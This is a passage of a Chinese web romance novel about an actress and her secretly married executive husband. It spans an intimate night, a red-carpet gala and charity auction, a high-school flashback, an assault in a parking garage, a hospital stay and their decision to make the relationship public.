沈欢还没走到车边,就忍不住揭下口罩咬了一口尝味,再做贼心虚地戴好,花茶味自舌尖化开,她的眼眸藏在墨镜后弯成弦月。
冬天吃冰淇淋倒是别有一番风味,据说这样反而不会伤胃,她一念
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至此,倒是吃得更为放心了。
刚坐上车,沈欢就摘掉口罩墨镜,毫无形象地瘫倒在后座,不急不慢品尝冰淇淋。
小助理自前排探出脑袋,无情提醒:“沈姐,李姐让我转告你,最近少吃点甜品零食,小心周五礼裙拉链拉不上,那是代言方送来的超季定制款。”
她顿时感觉手里的冰淇淋不香了,目光哀怨地看了眼助理,又向陈璧投去求助目光。
“放心吃,”陈璧言简意赅宽慰她,“大不了再让代言方送件别的。”
虽然大老板发话了,可沈欢向来很有职业操守,她瘪瘪嘴,简单尝味后就交给陈璧消灭。
晚上,沈欢回到酒店,吭哧吭哧运动半晌,一抬头发现陈璧依旧赖在她的房间里。
“你怎么还在这儿?”她做完一组仰卧起坐,拿起毛巾擦擦汗。
陈璧盯着电脑屏幕:“公司有要紧事,需要线上办公,不方便挪动。”
“霍氏集团没有能人了吗?什么活都落到你头上。”沈欢对剥削严重的公司没有一点好感,皱眉替他打抱不平。
他叹气,趁机卖惨:“你知道的,我爸年纪大了,基本退居二线,霍景霍楼那两兄弟不给我添乱就是好事,现如今,公司大大小小的事都得我处理,董事会那群老顽固还时不时和我唱反调。”
“欢欢,我不是铁人,有时候我也会累。”
他拉住沈欢的手臂,轻轻拽到自己怀里,露出疲惫神色。
她一时猝不及防,跌坐在他硬实的大腿上,被男人从后面完全拥抱住,熟悉的气息扑面而来,她的手下意识死死攥住毛巾,局促不安。
“让我抱抱,好吗?”陈璧轻声道,顺势将下颌搁置在她的肩头,嘴唇似有若无碰触耳根。
沈欢听出他语气中蕴含的脆弱,顿时舍不得推拒。
她侧过身子坐着,安慰似的摸摸他的头:“不要太为难自己,那群老顽固就该让霍叔叔出面,狠狠收拾一顿就老实了,他们就是倚老卖老,欺负你资历浅。”
“嗯,我知道了。”感受到她轻柔的触碰,陈璧心下温软,应和道。
他继续说:“在A市出差那晚,我都没睡好觉。”
“事情很棘手吗?”沈欢担忧看他。
“不好处理,”陈璧委屈低头,与她耳鬓厮磨,“再加上我那晚在偷偷吃醋,虽然我知道,我现在没有资格吃醋,但我控制不住自己。”
她哭笑不得:“你怎么还惦记那事,你是醋缸子成精吗?”
“是吧,你说什么都对,”男人不辩解,薄唇慢慢落在她的脖颈上,轻轻舐咬,“反正只有你在我身边,我才能睡得安稳。”
沈欢搂住他的脖子,仰头感受钻心的痒意,一时意乱情迷,不知身在何处。
夜色深深,窗帘紧合,床头台灯将两人的影子映在墙上,轻轻曳动。
陈璧四处啄吻,小心观察她的表情,眉梢眼角都藏着清浅笑意。
男人轻声诱哄,图穷匕见:“所以欢欢……今晚可以不赶我走吗?”
24. 持久
“唔,你猜。”沈欢眨动眼睫,狡黠一笑。
陈璧动作停顿片刻,大手抚上她的侧腰,眸光变得深邃:“那我就当你同意了。”
为了运动舒适,沈欢只穿了一件轻薄短袖,却没想到会在这时方便他作乱点火。
酥痒感顺着尾椎骨传来,她忍不住闷哼一声,实在招架不住,双手撑在他的胸肌上,想要跳下去逃跑。
可陈璧并不会给她这个机会,长臂一伸拦住她的去路,低头细细吻上她的唇,风卷残云掠夺一切甘甜。
或许是因为亲吻次数过多,她已经逐渐学会了配合,明明脑子晕得七荤八素,却颤抖着伸出舌尖主动触碰对方。
就像燎原上猛地燃起一点星火,男人的喘息声略微加重,卷着她的舌还不忘为她定罪:“欢欢,你勾引我。”
“我、我没有……”沈欢含糊反驳,绝不接受这个罪名。
倏然,她身躯僵硬,感受到某人手指顺着宽松衣摆边缘摸进去,毫无阻碍地贴上她的肌肤,辩解的力气顿时消散。
掌心温度升高,握住她的细腰时带来不可忽略的灼烫,指尖自腰窝流连至脊骨,再点至胸前腹下,所过之处都烧起绯痕,触感清晰可察。
沈欢小声呜咽,整个人熟成红虾,即使弓起背脊也逃不出他的掌控,她许久未曾经历激烈,身子仿佛软成一滩水,不由自主地向下滑。
可陈璧不会轻易放过她,将她重新提进自己怀里,温柔而强硬地摆出面对面的姿态。
他的手指陷入温热,继续动作,顺便坏心眼朝她耳廓吹气:“宝宝,你知道你现在有多漂亮吗?”
沈欢一激,忍不住羞恼,眼尾连同眼皮泛起薄红,嘴唇娇艳,瞳色水润多情,仿佛蒙着层层雾气,让人既想怜爱又想趁机摧折。
她浑身紧绷颤抖,连脚趾都蜷缩起来,不愿面对男人满含欲色的眼神,无力伏在他的肩头躲藏,长长卷发垂落在他的脖颈上,扫动间纠缠不清。
只是移动时免不得肢体触碰,陈璧促狭地笑,故意让她切实感受到膨胀,进行初步“友好交流”。
“它想和你打招呼。”他咬着她耳垂,轻声道。
沈欢小口喘气,忍不住抬头瞪他,稍稍拉开距离:“我才不想见它。”
陈璧佯装失望叹气,眼尾低垂:“可它真的很喜欢你,我也是。”
沈欢知道自己一低头就会对上昂扬,不禁皱眉咬唇,可却抵不住心软。
半晌,她似乎下定了某种决心,轻阖双眸,白皙的手慢慢探去。
男人没想到她会主动,诧异挑眉看她,伴随隐秘激动,昂扬变得分外生龙活虎。
似乎是感受到他的视线,沈欢心头一阵慌乱,手下便有些没轻没重。
“谋杀亲夫?”陈璧闷哼一声,调笑道。
她虚起眸子飞速瞟了一眼,耳根瞬间红透,嗔怒:“嫌弃就自己来。”
“哪敢嫌弃欢欢。”他翘起唇角轻哄,带着她的手一同探索攀岩的快乐。
等他终于攀上山顶,沈欢已经累瘫一般靠在他怀里,恹恹提不起劲。
抱着她去浴室收拾狼藉,陈璧替她揉手,歉意啄吻:“辛苦了。”
“谁允许你这么久的?”沈欢靠在洗手池边,嗔怒睨他,却因疲累没什么杀伤力,说出来的话也软绵绵,宛如调情。
陈璧笑吟吟抱她回到床上:“你这是在夸我?何况我有多久,你不是早就知道么?”
他故作思考:“需要我帮你回忆回忆吗?”
一些久远记忆流淌而来,沈欢慌慌然跪坐在床边,抬手捂他的嘴,咬牙切齿:“闭嘴,不需要!”
她换了一条新的睡裙,一翻身将自己裹进被子里,只露出眼睛瞧他,控诉道:“你今晚真的很过分。”
陈璧关掉灯跟着躺下,在黑暗中侧身亲吻她的额头:“我错了,下回还敢。”
沈欢气恼,伸出胳膊打他。
他不敢反抗,挨了几下才轻轻握住她的手腕摩挲:“力气还挺足,看来还不够累。”
沈欢吓得匆匆收回手臂,拖着被子往床边瑟缩,却被陈璧连人带被子搂回怀里:“小心点,别摔下去,我不闹你了,快睡吧。”
她窝在他的臂弯里,闻着熟悉气息,安心地闭上眼睛。
周五如约而至,星光之夜晚会即将开始,红毯前早已围起长枪短炮,娱乐记者和粉丝站姐齐聚一堂。
直播间实时转播,明星大腕陆续到场,郝苒挤在人群中,举着单反相机翘首以盼。
熟悉的保姆车缓缓驶来,她立刻站直身子,雀跃向前,试图抢占最佳机位。
车门打开,率先映入众人眼帘的是一双银色高跟鞋,郝苒视线上移,待看清沈欢今日红毯造型时,她忍不住在心里尖叫起来,手里动作一刻不停。
全场闪光灯铺天盖地亮起,快门声不绝于耳。
沈欢身着一袭前短后长的抹胸礼裙,红色浓烈,白色纯洁,交融得恰到好处,赫然是某奢牌尚未发售的超季款。
满钻项链点缀锁骨,衬得她宛若优雅天鹅,行走间露出一双白皙长腿,整个人耀眼夺目。
直播间弹幕瞬间爆炸般飞掠而过,导致画面出现卡顿。
【咖啡不加糖:哇,今天沈欢美出新高度了吧!这礼裙真适合她!】
【欢乐颂:我们欢欢可是代言人,设计师定制款当然合身啦。】
【蛋堡八爪鱼:内娱明星红毯可以朝这个方向卷吗?有的男明星天天一身黑西装,真是懒得喷,说的就是你,兰雪衡!】
由于剧宣需要,沈欢选择和《不成悲》剧组一同进场。
入口处,兰雪衡依旧穿着黑色西装,显得内敛沉稳,看到她提着裙摆走过来,打趣道:“今天造型师挺给力啊,简直是美神降临。”
汪佩佩抬眼,闪过一丝惊艳,复又化为暗藏的嫉恨,忍不住庆幸左锦没有前来参加晚会,否则又要被沈欢勾走心魂。
“行了,少拍马屁,我会在蕊蕊面前替你美言几句的。”沈欢面上挂着恰到好处的笑容,抬手整理鬓边发丝,小声说。
兰雪衡顿时满意点头。
“人
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到齐了,准备进场吧。”温柒凡招呼道。
根据咖位,剧组主创两两一组踏上红毯,由于男二号左锦没来,温柒凡便和汪佩佩并排走。
沈欢和兰雪衡都没有炒CP的念头,保持礼貌距离走到红毯尽头。
【可可蛋糕:这两人合作过几次了,怎么还一副客客气气的样子?没看见一点暧昧,只有对展示帅气和美貌的渴望。】
【欢乐颂:这你就不懂了吧,问就是不熟,其实他们两个常年待在内娱最不爱炒CP榜上,习惯就好。】
主持人笑眯眯递来话筒:“我们来做一个简短的采访,请分别用两个词来形容你身边的人和你在剧中所扮演的角色。”
沈欢接过话筒,认真道:“兰老师是非常敬业,友善的同事,我非常尊敬他。”
“我在新剧中饰演侠女李离悲,她不是一个可以简要概括的人物,非要形容的话,那就是独立自强爱自由,敢于与黑暗强权作抗争。”
随后,兰雪衡拿到话筒,言简意赅回答完第一个问题,也开始对第二个问题侃侃而谈,导致本想营造暧昧气氛的主持人面色尴尬。
【桃汁汽水:噗哈哈哈哈,这两人形容同事仿佛在背社会主义核心价值观,形容自己饰演的角色滔滔不绝,主持人脸都黑了。】
【蛋堡八爪鱼:想制造绯闻?门都没有!】
采访结束,沈欢在签名墙上留下自己的名字,和兰雪衡一同进入会场。
她提着裙摆,找到自己的位置坐下,兰雪衡随后在她身边落座。
四处都有摄像机,不便攀谈,她只好规矩盯着前面男人的后脑勺发呆。
只是看着看着,她隐隐感觉几分熟悉,忍不住仔细观察,直到前面的人侧头与路过的老总打招呼,露出优越的下颌线和高挺鼻梁,她才反应过来,原来陈璧也来参加晚会了。
中午离开酒店时,他还坐在书桌前盯着电脑,一副工作繁忙的样子,下午居然就出现在会场里,西装革履,与人谈笑风生。
沈欢的视线悄悄停留一阵,才不动声色地移开,这个惊喜可真够大的。
晚会正式开始,率先进行的是颁奖仪式。
《不成悲》是今年为数不多的S级影视项目,演员名气大,原著粉丝粘性强,社交平台讨论度居高不下,可谓是未播先火,因此包揽了多个热度奖项。
当沈欢致辞结束,捧着“最受观众喜爱女演员”奖杯下台时,温柒凡正准备代表剧组上台领“最受媒体关注电视剧奖”。
沈欢路过温导时,忍不住小声吐槽:“我们这是来批发奖项了?”
温柒凡忍俊不禁。
她逗完温导,一扭头就对上陈璧那双剔透的黑眸,男人正坐在台下注视着她,仿佛无垠大海,看似平静却波涛汹涌。
沈欢轻咳一声,顶着存在感极其强烈的视线,从他的座位侧边绕过,回到自己的位置坐好。
她自手包里拿出手机,趁摄像机挪开的时间发消息。
【Happiness:咱们商量一下,能不能少看我?】
25. 第一
消息刚发出去,她就看见前面的男人从西装口袋里抽出手机,下一刻,消息框里跳出回复。
【Wall:为什么不能看?你今天很美。】
沈欢表面保持微笑,低头恐吓:“看我需要收费,天价。”
对面直接甩来一个转账,她还没数清到底有几个零,紧接着,十几张照片争先恐后地蹦出来,挤占了聊天框。
沈欢愣神,定睛一看,居然全是她刚刚领奖致辞时的姿态,陈璧拍的照片角度清奇,却显得她身材比例更为协调,不输专业摄影师。
【Wall:喜欢看到你获得荣誉的样子,高中时也喜欢。】
恰巧,摄像机旋转一圈回来了,沈欢瞥见黑洞洞的镜头,只得收起手机正襟危坐,将目光投向正在致谢的温柒凡。
实际上,她满脑子都是他刚刚发来的消息。
她还以为陈璧高中时很讨厌她呢。
十七岁时总是年少气盛,不知天高地厚,文理分科后,高二八班被学校划定为理科珠峰班,大家都是同龄人中的佼佼者,自然谁也不服谁,年级第一的宝座每个人都想去坐一坐。
沈欢也不例外。
家里特意为她请了家教补习,她卯足劲苦学一个暑假,就等着开学以后弯道超车。
没想到,高二的第一次摸底考试,这一目标竟然超额完成了,她从年级第十跃升到第一名,高居光荣榜榜首。
沈欢接收到众人羡慕嫉妒的目光,默默藏起骄傲,实际上一天能拉着崔蕊“不经意”路过光荣榜十次。
“不如下次换榜的时候,你问工人把撤下来的榜单要走,带回家收藏得了。”崔蕊笑眯眯出主意。
秋日阳光下,桂花飘香,沈欢仰头看着金灿灿的榜单,肺腑里满盈少年意气。
她指着榜首,厚着脸皮对闺蜜吹牛:“下次,下下次,我都要让自己的名字出现在这里。”
崔蕊还没回话,两人身后传来一声轻笑。
沈欢生怕被班级同学听见豪言壮语,慌张转头,却对上一双沉静黑眸。
来人是个陌生少年。
她呼出一口气,凶巴巴瞪他:“笑什么?很好笑吗?”
“不好笑,”少年戴着口罩,眼里没有一丝戏谑,认真看她,“希望你愿望成真。”
沈欢羞恼低头,拽着崔蕊飞也似的逃离。
过了半个月,陈璧作为插班生加入八班,沈欢抬头,正巧对上这双略显熟悉的眸,又因他的自我介绍,闹了姓名笑话被同学起哄,印象分逐渐降至谷底。
听说他是一中转来的学霸,她心底莫名焦灼,那一声轻笑仿佛还在耳畔回响。
沈欢咬牙心想,总不能让陈璧发现她当时在说大话,接下来一段时间里,她不由得更加卖力学习。
进入高二,学习节奏变得紧张起来,第二次月考迅速来临。
沈欢拿着考试袋,视死如归坐在第一考场的一号座位,身后其他人的目光都似有若无地扫过她,除了陈璧。
因为他没有参与上次摸底考试,这次惨被发配到了最后一个考场。
成绩出炉那天,班主任老何拿着胶水,将成绩单贴在黑板旁边的墙上。
老师前脚刚走,所有人都乌泱泱围上去,沈欢踮着脚尖探头看,听见身边同学议论:“哎呀,我这次物理没考好,怎么扣了这么多分!”
“没事没事,考八十五分已经很好了,我才考了八十三,真烦多选题。”
沈欢心里更加忐忑,恨不得立刻逃出人群,当个冷酷的缩头乌龟,漠不关心自己究竟考了多少。
突然,挤在前面的崔蕊回头看她,高高兴兴道:“欢欢,你又考了年级第一!”
她蓦然瞪大眼睛,不敢置信地指指自己:“我吗?你没看错吧?”
“当然没看错。”
“那陈璧呢?”沈欢脑子里一片空白,脱口而出。
崔蕊欲言又止,瞟了眼她身后,疯狂做口型示意。
她还没看懂什么意思,就听见耳畔响起男生偏冷的声音:“我的成绩和你无关吧?第一名。”
重音落在“第一名”三个字上,仿佛锤子敲打在沈欢心头。
她身躯一僵,尴尬回头:“咳,我随便问问。”
没想到,随着她的动作,束起的高马尾过于跳脱,恰好甩打在陈璧的侧脸,留下一道显眼红痕。
他的手指轻轻抚过脸颊,垂眸看她,神色晦暗不明。
沈欢蓦然呆怔,慌里慌张想要道歉,陈璧却没有耐心听完,单手插进校服兜里,自顾自转身离开。
确定他离场,崔蕊才伸出两根手指,凑到她面前悄悄耳语:“他考了年级第二,就比你低三分,劲敌啊。”
沈欢心不在焉地嗯了一声,突然没有兴趣细看成绩单了,恰好上课铃响起,众人一哄而散,她也随着大部队回到座位。
路过陈璧时,他正捏着笔低头做题,白皙脸颊上浮现浅淡红痕,仿佛不小心沾染一层腮红,倒是消弭了拒人千里的冷淡感。
沈欢看在眼里,愧疚蔓延在心里。
第二天,她早早到达教室,趁着人少,将一瓶牛奶塞进陈璧的课桌抽屉,附带一张道歉便利贴。
跑操结束后,她擦着薄汗急急忙忙赶回来,一眼就看见早上送出去的牛奶又出现在她的桌面上,完好无损。
她心凉了半截,可拿起来才发现,瓶身粘着的便利贴消失了。
这算接受道歉了吗?沈欢暗自疑惑。
后来,光荣榜进行更迭,沈欢恰好路过,站在一旁看工人忙碌,犹豫半天,还是硬着头皮走上去问:“那个……叔叔,换下来的光荣榜可以送给我吗?”
工人从梯子上跳下来:“嗨,你来晚了,已经有人拿走了,下回想要记得早点来取。”
沈欢遗憾抿唇,抬头看着新贴好的榜单,她和陈璧的名字赫然挨在一起,高居榜首,宛若亲密无间的伙伴。
她默念两遍,抬手捂住胸口,清晰感觉心脏跳动频率加快,满溢温软。
这不单纯是夺得第一的喜悦,更是因为——
陈璧恰好陪在她身边。
“傻笑什么?”温柒凡的手在沈欢面前晃晃,顺势坐在她身旁。
沈欢迅速撤回思绪,绷直唇角收敛笑
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容:“啊,走神了,现在到什么环节?”
“慈善拍卖马上就开始了。”温柒凡抬头看向舞台,小声提醒。
台上陆续展出了几个明星的送拍物品,多是手表首饰等轻奢品,还有一位爱豆捐出了二手围巾手套,居然被混进会场的粉丝拍出十万高价。
温柒凡暗自咂舌,好奇询问:“你把什么东西送去拍卖了?”
“一幅画,一个花瓶。”沈欢歪头回忆片刻。
温柒凡点点头,看她云淡风轻的模样,心想应该不是什么昂贵物品。
“接下来拍卖的是沈欢小姐赠送的物品,第一件是马玉兰大师的亲笔画作《玉兰》,起拍价五十万。”拍卖师微笑介绍。
话音刚落,会场里出现轻微骚动,刚刚捐出围巾手套的爱豆面色难堪,不动声色地瞟了沈欢一眼。
网友们看热闹不嫌事大,直播间里讨论度飙升。
【欢乐颂:哈哈你们谁敢看这个爱豆的脸色,比锅底还黑。】
【咖啡加糖:这画作什么来头?起拍价居然这么高。】
【桃汁汽水:马大师早已封笔,德艺双馨的国画艺术家,她的玉兰画首屈一指,五十万起拍价都算低的,上一幅流入市场的画作在G市拍卖了八百万!】
许多懂画的影视制作人纷纷直起腰身,仔细端详,这可是捡漏的好机会。
出价声此起彼伏,不一会儿就抬到了三百万。
沈欢没想到陈璧准备的画作如此贵重,想出钱把画作买下来,可她自己不方便叫价,只好暗中戳戳温柒凡。
温柒凡会意,刚想举牌,就听见前座的男人出价:“四百万。”
她默默撤回一个牌子,跟表哥这种财大气粗的人竞争,肯定赢不了。
场面安静片刻,了解陈璧身份的人都不敢加价了,生怕得罪霍氏集团。
可惜偏有不怕死的人撞上来。
角落里响起一个男人的声音:“我出五百万!”
沈欢听见略显熟悉的声音,忍不住蹙眉投去目光,来人正是左锦。
他不是不来参加晚会吗?为何又出现在这里?
温柒凡也愣住了,小声骂道:“真是阴魂不散!”
她不明白,上一任导演选角时,为何会把男二这么重要的角色交给这种人。
陈璧不急不缓,沉静出价:“六百万。”
“七百万!”左锦不依不饶。
“八百万。”陈璧继续。
“一千万!”左锦咬牙大喊。
陈璧不说话了,朝台上作了个谦让的手势。
拍卖师握着小木槌,面带职业微笑:“一千万一次,一千万两次,一千万三次……”
木槌重重落下,敲在桌面,却仿佛敲在左锦的胸口上,他的面色骤然煞白,瘫在座位上呼吸不畅。
“成交!恭喜左先生拿下画作《玉兰》,落槌价一千万。”
“让我们接下来看沈小姐送来的第二件拍品……”
沈欢收回看向左锦的目光,强忍笑意与陈璧对视,透露着计谋得逞的狡黠。
这下可真是让左锦大出血了。
26. 自责
目光相接的一瞬,陈璧瞬间明了,唇角悄然勾起坏笑。
这幅画与G市拍卖的画作不同,是马玉兰的早期作品,实际价值根本够不到八位数,四百万正是合理价格。
既然左锦硬要横插一杠,那就让他去承担这六百万的损失,就当他大发善心,想为山区孩子们尽一份力。
拍卖环节结束后,星光之夜便落下帷幕,各路媒体陆续退场。
沈欢提着裙摆,走艺人通道来到地下停车场,一眼看见线条流畅的迈巴赫正停在车位上沉默等待。
她忽然很想见到陈璧,忍不住快走两步,高跟鞋敲击地面的声音在空荡的停车场里回响。
就在此时,变故突生。
一股大力从沈欢身后袭来,狠狠勒住她的脖子,将她按倒在车库柱子上。
沈欢猝不及防,额头重重磕在水泥柱上,眩晕感如浪潮般扑打而上,她努力保持清醒,张嘴想要呼救,却被一只手死命捂住口鼻,面色憋得通红。
“沈欢,你能陪我一起去死吗?”左锦声音阴恻恻,在她耳边响起。
又是这个疯子!
她不可能束手待毙,强忍着窒息感一口咬上对方的手心,同时抬起高跟鞋使劲踩上他的脚背,狠狠碾磨。
左锦吃痛惊呼,锢着她脖颈的手卸了几分力,伸过来掰她的嘴。
沈欢来不及喘息,拼尽最后一丝力气大声喊道:“陈璧!救我!”
下一秒,她听见远处传来车门重重推开的声音,混杂着急促脚步声,紧接着,桎梏着她的力道骤然消失,身后的男人如断线的风筝一般飞出去。
陈璧来救她了,她安全了。
沈欢心头一松,强压下去的眩晕感反扑上来,身子软绵绵向后倒。
意识消失的最后时刻,她隐约知道自己落入了一个熟悉而温暖的怀抱。
“我没事……”沈欢挤出笑容,呢喃着抬手想抚摸陈璧的脸,安慰这个焦急难捱的男人。
可手颤颤巍巍举到半空,她却再也抵抗不住困意,头一歪陷入黑暗。
陈璧面沉如水,没给瘫倒在地的左锦一个眼神,打横抱起晕倒的沈欢,大步走向车子。
迈巴赫如离弦的箭般漂移飞出地下停车场,驶往最近的医院。
左锦的牙废了两颗,嘴角淌血,躺在地上急促喘息,一抬头对上陈总助理冷漠无情的眼睛。
他彬彬有礼做了个“请”的手势:“走吧,警察局见。”
B市人民医院,急诊科。
陈璧在诊室门口罚站,目不转睛盯着医生仔细检查沈欢额头伤口,后悔自责的情绪满溢而来,令他此刻心如刀绞。
他为何不站在车边等她,为何不一直看着出入口,非要坐在车上开那劳什子视频会议!
都是他的错,才让左锦有了可乘之机。
一想到这个疯子,暴虐情绪便在陈璧胸口蔓延开来,恨不得将他置于死地。
正在心底盘算如何让左锦付出代价,他听见医生问:“家属呢?”
“这里。”陈璧来不及活动僵直的腿,飞快走进去。
医生不满地看了他一眼:“病人曾经做过脑部肿瘤切除手术,怎么能受到二次撞击呢?你作为她老公,平常不能注意照看点吗?”
陈璧愣神,脑部肿瘤切除手术?
他来不及多想,焦急询问:“那她现在有没有事?”
“等CT结果吧,估计是轻微脑震荡,额头伤口有些深,需要缝三针。”医生回答,转身准备麻醉缝合。
陈璧站在一旁,自虐一般看着医生动作,手术针刺穿沈欢皮肉之时,仿佛疼在他的身上,他的心口传来阵阵闷痛,甚至到了呼吸不畅的地步。
如果可以,他愿意代替她去承受这等苦楚。
缝合完毕,CT报告也出来了,医生确诊轻度脑震荡,接下来需要好好休养。
单人病房灯火通明,沈欢静静躺在病床上昏睡,额头贴着厚重纱布。
陈璧枯坐在床边,一瞬不瞬地盯着她,确认她暂时没有醒来的迹象,他小心翼翼抬手,拨开她浓密的发丝,一道长约五厘米的疤痕裸露出来,映入他的眼帘。
陈璧心头一跳,巨大恐慌席卷而来,黑眸瞬间浮现浓郁血丝。
他倏然想起,前两天,她遮遮掩掩不让他帮忙吹头发的场景,原来是怕他发现这道伤疤。
难道这,才是当年她非要和他分手的原因?
一念及此,陈璧感觉自己的心脏被一双名为“命运”的大手肆意玩弄,皱缩成一团,刺痛感源源不断地传来,却无力反抗。
原来他误会了她许多年。
陈璧轻轻将她的发丝拨回原位,悄然遮挡住那道伤疤,可却无法遮挡他们之间分开的数年时光。
他不愿面对这一事实——他险些永远失去她。
那些年里,她谎称回到沈家,出国留学,过她光鲜亮丽的大小姐生活,却在他看不见的地方接受手术,对抗病魔,苦苦捱过难熬的化疗。
她是世界上最勇敢的女孩。
他慢慢捂住沈欢冰凉的手,低下头,温热泪珠一滴滴打在她的手背上。
随后,他虔诚落下一吻,不带一丝情.欲,只有失而复得的喜悦。
或许是麻药失去效用,沈欢半夜被额头的伤口疼醒了,下意识想抬手察看情况,却发现手被陈璧抱在怀里,根本抽不动。
陈璧迅速惊醒,拉开病房的灯:“怎么样?还难受吗?”
“头晕,口渴……”沈欢瘪嘴,在他的帮助下靠坐在床头,眯着眼睛有气无力地诉苦。
他赶紧将保温杯拿来,倒出温水喂到她嘴边。
一杯水下肚,沈欢才觉得精神了些:“我伤得严重吗?”
“轻度脑震荡,额头上缝了三针。”陈璧看着她,眉梢眼角满溢心疼。
沈欢大惊失色,挣扎着想要下床照镜子:“我不会毁容了吧?”
“你先坐好,别乱跑,头还晕着呢。”他拦住她,拿出手机调成自拍模式给她看。
自拍镜头里,她面色苍白,脖颈上浮现显眼的勒痕,额头上裹着纱布,看不清具体伤势。
伤口痛意越来越明显,沈欢忍不住想流泪,红着
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眼眶看他:“我现在好丑。”
陈璧替她擦掉眼泪,温柔啄吻:“不丑,会痊愈的,你不管长什么样子我都喜欢。”
“伤口也好疼,”她继续说,眸光里满是依赖,“你抱着我睡。”
话音刚落,沈欢已经挪动身子腾出位置,一脸期盼望着他。
陈璧拗不过她,爬上床跟她挤在一起,幸好单人病房的床比较宽敞,睡得下两个人。
他伸出臂膀搂住她,轻轻拍背哄道:“睡吧,睡一觉醒来就不痛了。”
沈欢喜欢这个新枕头,靠在他温暖的胸膛上蹭了蹭,闻着熟悉的草木气息,再次沉入梦乡。
陈璧垂眸看着她,俯首在她头顶发丝烙下一吻,慢慢闭上眼睛。
养精蓄锐,明天才有力气和左锦算账。
翌日清晨,沈欢是被早餐香味诱惑醒的。
她吸吸鼻子睁开眼,小声念叨:“好香。”
“买了一份你爱吃的鱼片粥,头还晕吗?”陈璧一早起来,去警察局处理完左锦那边的事,顺手买了早餐回来。
沈欢摇摇头:“不晕了。”
他服侍她去卫生间刷牙洗脸,再扶她躺回床上,将鱼片粥端到她面前,用勺子一口口喂给她。
“我可以自己吃的。”沈欢有些不习惯,试图接过热粥,感觉自己在他眼里变成了废人。
“可我想喂你吃,”陈璧眸光温柔,“你之前生那么严重的病,都不肯告诉我,这次我想好好照顾你。”
沈欢咽下软嫩鱼肉,心底一惊:“你都知道了?”
他点点头:“医生告诉我了。”
她犹豫片刻,嗫嚅道:“我当时不想拖累你,你过得太辛苦。”
“可我更想和你一同面对,没有什么事情比你更重要,”陈璧轻声说,眼底浮动自责,“是我没用,没能成为你最坚实的后盾。”
“别这么说自己,你当时只是个大学生,而我治病要花很多钱,我只能认输,回去寻求家人帮助……”沈欢目光躲闪。
当年确诊脑瘤以后,她六神无主,最终咬牙决定和陈璧分手,回到沈家接受联姻,她明白,只有这样才能得到最好的医疗条件。
其实她是一个自私的人,在作出这个决定时,就已经放弃了陈璧。
“欢欢,以后不管什么事情都不要瞒着我,好吗?现在我有足够的能力护着你,不再是当年那个无能为力的穷学生了,人生路上的风风雨雨,我都想为你遮挡。”
陈璧一字一顿立下誓言,面容坚毅。
沈欢看在眼里,暖意融在心底:“你不怪我?”
“为什么要怪你?”他不解,“我只怪我当初能力不够。”
她扑哧一声笑了,眼泪却在眶中打转:“好,我答应你,以后不管什么事情都不会瞒着你了。”
“别哭,哭成小花猫了,一会儿爸妈来了要骂死我。”陈璧装作苦恼模样,试图逗沈欢开心。
她吸吸鼻子,努力将泪花憋回去。
吃完鱼片粥,沈欢胃里舒服,心情也变好了,她靠在床头问:“左锦那边怎么样了?”
27. 官宣(正文完)
一提起这个人渣,陈璧冷笑一声,眸光狠戾:“我会请最好的律师告他故意杀人罪,不接受和解。”
“那我拍的剧……”沈欢顿时焦灼坐直身子。
明星一旦留下刑事案底,定然会被圈内封杀,可左锦还是剧中的男二,她开始担忧起电视剧能不能顺利播出。
总不能因为一颗老鼠屎,坏了一锅粥吧。
“想替代他的人数不胜数,可以找一个新的演员补拍他的戏份,”陈璧安慰道,“放心,离播出还早,后期制作才刚开始,时间上来得及。”
沈欢这才勉强松了口气。
“只是得辛苦大家配合拍摄了,温柒凡让我告诉你,接下来的杀青假期取消,补拍镜头期间需要随叫随到。”
她刚松懈的气又吊了起来,哀嚎着躺下去:“我的假期——”
陈璧失笑摇头,替她掖好被角。
沈欢表情淡然,带着打工人半死不活的安详,默默闭上眼睛不愿面对现实。
突然,她听见门框开合的声音,忍不住掀开眼皮瞧向门口,恰好对上爸妈担忧的目光。
“爸妈……”沈欢嗫嚅喊人。
“乖乖哎,这额头和脖子上的伤怎么搞的?”梅泽兰一个箭步冲上来,捧着她的脸查看伤势。
听说沈欢在B市受伤住院,他们焦心万分,连夜坐飞机赶过来,连片刻休整都没有,此刻俱是风尘仆仆。
她任由妈妈摆弄,朝身旁的男人使眼色,陈璧明了,站起来简单解释一番。
听完原委,沈琮年面色难看,罕见动了怒火:“真是吃了熊心豹子胆了,敢对我女儿下这等死手!”
“爸妈,别担心,我现在不是好好的吗?”沈欢哄道,坐在病床上摆出活泼表情,试图让父母宽心。
可苍白唇色与病态面容并不能令他们消弭怒气,沈琮年低声叫走陈璧,去走廊商量接下来的处理措施。
沈欢目送两人神秘离开,一回头看见梅泽兰拿出一个熟悉的红色保温桶,顿时大惊失色:“妈,我不想喝鸡汤。”
“乖,这次是鸽子汤,特别有营养,喝了身体才能快点好起来。”梅泽兰面色和蔼,却不容拒绝地盛出一碗,汤面上还飘着一层油花。
她只好苦着脸接过,在母亲殷切的注视下,喝完这碗满得快要溢出来的鸽子汤。
母亲大人的厨艺还是有待精进,但爱却无师自通。
没一会儿,经纪人李姐也赶来病房探望,梅泽兰知道她们要谈论圈内工作,自觉收拾好保温桶回避。
“……目前情况是,你遇袭的消息和监控录像已经放出去了,左锦作为犯罪凶手即将被全网封杀。”
“也有人拍到了陈总带你去医院急诊科的照片和视频,现在网上对你们之间的关系议论纷纷,你这边希望公关部怎么处理?”
李姐迅速汇报情况,征求她的意见。
“可以选择公开恋情吗?”沈欢歪头想了想,直截了当问,“正好给那档旅行恋综带一波流量。”
“陈总那边……”李姐心念电转,斟酌可行性。
没待沈欢回答,陈璧推门而入,干脆宣布:“都听她的,我这边可以全力配合。”
沈欢粲然一笑,戏谑看向李姐:“听见没,大老板发话了,一切都听我的。”
李姐见状,再无顾虑,于是不再纠结:“好,我明白了,那我去联系一下综艺导演,就在今天直接官宣你们两个成为恋综的飞行嘉宾吧,这样粉丝们自然就懂了。”
“到时候记得转发官宣微博。”她挎上包准备离开,临走之前叮嘱道。
沈欢和陈璧对视一眼,点头应下。
经纪人风风火火走出病房,伴随着啪嗒一声,倏忽间又只剩下他们两个人。
“那婚前协议里写的隐婚,不作数了?”陈璧坐在椅子上,慢悠悠问。
看他好整以暇的模样,沈欢故意疑惑:“你是不是没有弄明白,我只说了公开恋情,可没说公开和你的婚姻。”
闻言,陈璧顿时一噎,面色复杂。
看他吃瘪,她才忍不住偷笑:“好啦,我逗你的,我宣布隐婚条款今天作废,好不好?”
